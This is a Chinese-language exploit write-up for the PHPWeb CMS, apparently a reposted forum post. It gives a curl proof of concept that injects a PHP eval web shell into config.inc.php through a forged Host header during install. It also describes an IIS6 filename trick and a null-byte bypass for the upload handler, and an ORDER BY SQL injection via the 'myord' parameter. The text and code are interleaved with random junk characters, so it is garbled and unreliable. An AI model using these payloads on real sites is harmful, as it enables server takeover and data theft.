注入:
: }' E! k Y7 `9 D
. I. F0 h' ]5 i1 Q8 _5 x6 A! Z之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
5 t& o5 A0 @# R
0 ?6 k; @7 G( f: A' }0 U鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件+ @4 |. \' g' c1 ?
鸡肋2: 有一定安全常识的站长都会删掉 install 目录, v3 G# I4 ^4 S2 k/ }
1 a3 g* d0 J# y虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
$ E( z; V1 b. {0 J 9 }" I0 A! @( e0 v7 B
分析:
" a2 r8 B; L$ c" [: m* j4 S
* S" C, E- J; v4 n+ i" u: Z& O
/ [2 c! K" h' w( r' f$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤& m% C' t4 r4 `( Q% Q0 V2 L* p; Y
; r% Z8 l$ x+ w [
$filestr = fread(fopen($SysConfigFile, 'r'),30000);$ Q0 \! u4 W2 x8 f% D/ i
$filestr=str_replace(" ","",$filestr);
. G6 _9 m: Z- w/ N/ U $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);; D& i. `) A" m9 x% a
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
) X6 s! Z- S6 {; a $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);9 t; Z$ |7 w" @* k$ D
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
' w) K% t X1 ~4 ~ $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
" B$ ~% l$ A: A, z: r& e $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
2 W0 k$ U, ^' K) U. c: Y $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);/ ~& q# O9 r5 g/ B- i8 n' b5 p% X v
K. D; G$ z" _ fwrite(fopen($ConFile,"w"),$filestr,30000);: u/ J$ W; ^ K3 |* X, o) ]
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^; a6 C8 |6 s0 Y4 R" X
" q C" l" N$ Z4 |& Y' H
poc:+ B7 A G8 y9 \. P! \: z
3 v( ~) a! v5 L+ q! H {1 T?9 ~& G8 q4 Z9 ~& h& ?. n" K; }
1) K, F' L: I7 k" V$ q1 o
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
. s3 m( m+ B8 X) t, p' Zshell地址: /config.inc.php8 f& \1 T2 n% Z% p4 {2 n, Y
跟之前的 phpcms一样 需要远程数据库
9 f: h6 r9 q# c 3 O7 C b* z6 S6 F2 q+ P' ?9 t+ n
——————————————————–
- z4 g+ _; V3 X7 h, ~上传漏洞(需要进后台):# q5 t% e1 ]+ `6 n) B- |( R
漏洞文件: /kedit/upload_cgi/upload.php
: g2 s# l7 h2 t7 M9 y这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
. s/ k: ? B N# L
5 L; v' l( j: h$ t$ |
% Q5 W v! b# S0 q [5 `4 a<?php; n0 K, c: ^3 Q$ P- a
define("ROOTPATH", "../../");5 D9 e1 E0 v% ?
include(ROOTPATH."includes/admin.inc.php");
6 v* a% i; S# U NeedAuth(0);
) ?$ t" g/ c( L3 y3 Z6 X ( _, V# t. \0 U# q7 \
$dt=date("Ymd",time());
! T: q+ f+ W: n( R% I- {2 ? if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){! q2 l, k8 E' ?" Y" e
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);0 B) n; k$ V$ d9 O+ |
}' O. K* N/ i) }" B& h+ {( B
/ \" O) \, U. c4 i' S3 f //文件保存目录路径
) E; T# A, d& H3 n; H3 t $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
9 _9 j( `9 L( w3 r i% W4 X echo $save_path;1 l# r, ~1 l2 H
//文件保存目录URL
2 Y# q# U7 e5 C% x! Z4 M+ c* Q $save_url = '../../'.$_POST['attachPath'].$dt.'/';+ c) @+ O$ u% v! ~
2 X; w1 R( [4 p/ r //定义允许上传的文件扩展名; `, Y* \; o2 v+ X( d
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
# p+ q! ?& t- |1 c+ h6 S
: T& J3 _8 Q% y) [$ @ //最大文件大小
/ g' |3 t0 k$ k/ s, ~ $max_size = 1000000;; T% o T- I. W) V5 a/ U" g# |
' t" z% T" B! L: }1 W% F; o //更改目录权限+ E$ _$ V: I& z" i, K2 `
@mkdir($save_path, 0777);
1 g8 P! ^4 k5 b& l9 g
; v+ F9 z0 H, v* p3 ^% s' F //文件的全部路径( s! A1 [' w& b; M& H
$file_path = $save_path.$_POST['fileName']; //保存文件名
6 f) T; t9 r1 _. \0 @( l. G$ L' R
' F W. x$ ?% c6 D$ {; G. ?6 I //文件URL( g. C! U: D$ i) G) ~
$file_url = $save_url.$_POST['fileName'];
9 J- {: g a2 s3 a//有上传文件时* m- K- R: k7 \8 i- n' F' p* q1 V
if (empty($_FILES) === false) {# {2 J1 l& f! ]
/ e7 M1 [- i9 N) z6 x* t1 U5 a
//原文件名
2 b. l7 A& j( ^* @2 P6 y $file_name = $_FILES['fileData']['name'];
5 {0 {) `- Z" b1 ?+ {8 A C9 J //服务器上临时文件名
0 d0 \9 X }% Y1 |; T# b5 P4 ]$ h9 ~ $tmp_name = $_FILES['fileData']['tmp_name'];
0 s( A2 d# f$ W( {, s! t/ j //文件大小( P; h) o( |. a: Z0 Z6 h |
$file_size = $_FILES['fileData']['size'];, W) h$ }# P' B4 t: x' ~/ `
//检查目录2 ]2 ?' c0 z& q5 M1 H
if (@is_dir($save_path) === false) {
7 h5 k7 ?; [: n0 g alert("上传目录不存在。");* ]! e7 X- h9 K- U3 }
}7 R) g1 R# H9 p* e
//检查目录写权限3 L& ]7 h* b: c3 L9 U+ h
if (@is_writable($save_path) === false) {
2 j4 W7 I& x. ]+ `" z& e J alert("上传目录没有写权限。");/ f+ }, @: v* B
}
* r0 z- f9 q7 M" v! @- K: z //检查是否已上传9 W- m% L9 t* F. i1 Z
if (@is_uploaded_file($tmp_name) === false) {
5 r3 N1 n( m7 H9 @* c alert("临时文件可能不是上传文件。");% k* A2 J( y4 C
}
8 P/ ?! r2 l6 l% n) ?2 r1 {! G //检查文件大小
! l" l2 g4 p! u! H: E8 ] if ($file_size > $max_size) {
' @: q; l7 B% F* j alert("上传文件大小超过限制。");! L: a c$ v- [) W) Y6 g5 e
}
) y9 O$ F( N& X" e" g m6 V //获得文件扩展名$ @# L* j0 z* x: [& R
$temp_arr = explode(".", $_POST['fileName']);
& b8 L8 `6 n+ z/ F $file_ext = array_pop($temp_arr);# B E1 @# n: d+ i* N7 d
$file_ext = trim($file_ext);! V0 p8 j9 p! S/ U9 g1 k
$file_ext = strtolower($file_ext);
$ q, s' n2 ?! A5 c8 s! R
5 l( E% k1 {' d) n: G. T //检查扩展名 6 g( [1 T. Y# w% i% D0 N1 W" `6 H
if (in_array($file_ext, $ext_arr) === false) {
. a# W8 y/ D# o# F alert("上传文件扩展名是不允许的扩展名。");1 B- k4 e9 j% d& x
}
8 r) W! ?. }- ]7 F# w" [
, G% Y: K; Y# y) y; r C //移动文件 5 a. l: c( p7 g
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
+ K( d' G3 m$ q% w* R if (move_uploaded_file($tmp_name, $file_path) === false) {
& X/ ~8 E, E; I& P3 D0 z; L! W1 c alert("上传文件失败。");
* g( ?0 [/ N! |( t! z/ s }5 L; h$ E Q7 K L, a* S0 G! R
d; q+ N% }) E
@chmod($file_path,0666);5 U$ |7 I. d" x( [& r
* \, s; x6 Q; F0 Q5 W* K3 Y ?>0 r @+ d1 m U
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
2 j# X1 @: k' x- r }/ S2 x
+ Q. V! ^# ~6 }. l# |; ^) Dapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
0 d# L0 S8 D' k( X" E
! n9 y4 I' X- H9 f9 M1 u: F4 y——————————————————
- A, v$ U3 Q: M- e/ X* V& ~7 y3 c注入漏洞:
3 j% a8 _% O& p7 \5 n5 T" i8 Q漏洞文件:search/module/search.php
) w* E& M3 X2 J6 p2 E/search/index.php?key=1&myord=1 [sqlinjection]' {! `. Y, j7 v- J0 @
5 @. T. [: Y' H3 e 9 ^/ C' E _: N
<?php: D/ B/ O9 C2 [2 ~! V6 D
// ... 省略 n 行...
, U K. X. e) `- r# J+ F //第18行:/ t' e% w8 O7 z# B& U7 f
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
2 B5 @: g4 ]4 p* G' D# L4 q $page=htmlspecialchars($_GET["page"]);8 G3 l; `. ^& O+ ]
$myord=htmlspecialchars($_GET["myord"]);
+ H* Y( m* d; h$ `9 ^. O% V9 u
K! J* w/ L0 `+ s u V$ \) F // ... 省略 n 行...
8 N1 N; s+ A/ D5 E8 F $key,$myord 两个参数带入查询* R# h5 n' v/ q9 |0 P' L- y
//第47行 $key:
0 R: L p; x3 {6 z8 C2 d l
2 G2 W' c" P; E ^9 D $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..; h; s- j5 I }7 e5 X9 }( a+ e
7 W7 Y0 D e6 u //第197行 $myord
' V U3 ^& g! D. m% O# v $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入* N! T7 u5 l9 N4 e
' [1 p/ V/ @5 w ?> t. w9 o9 @6 n
|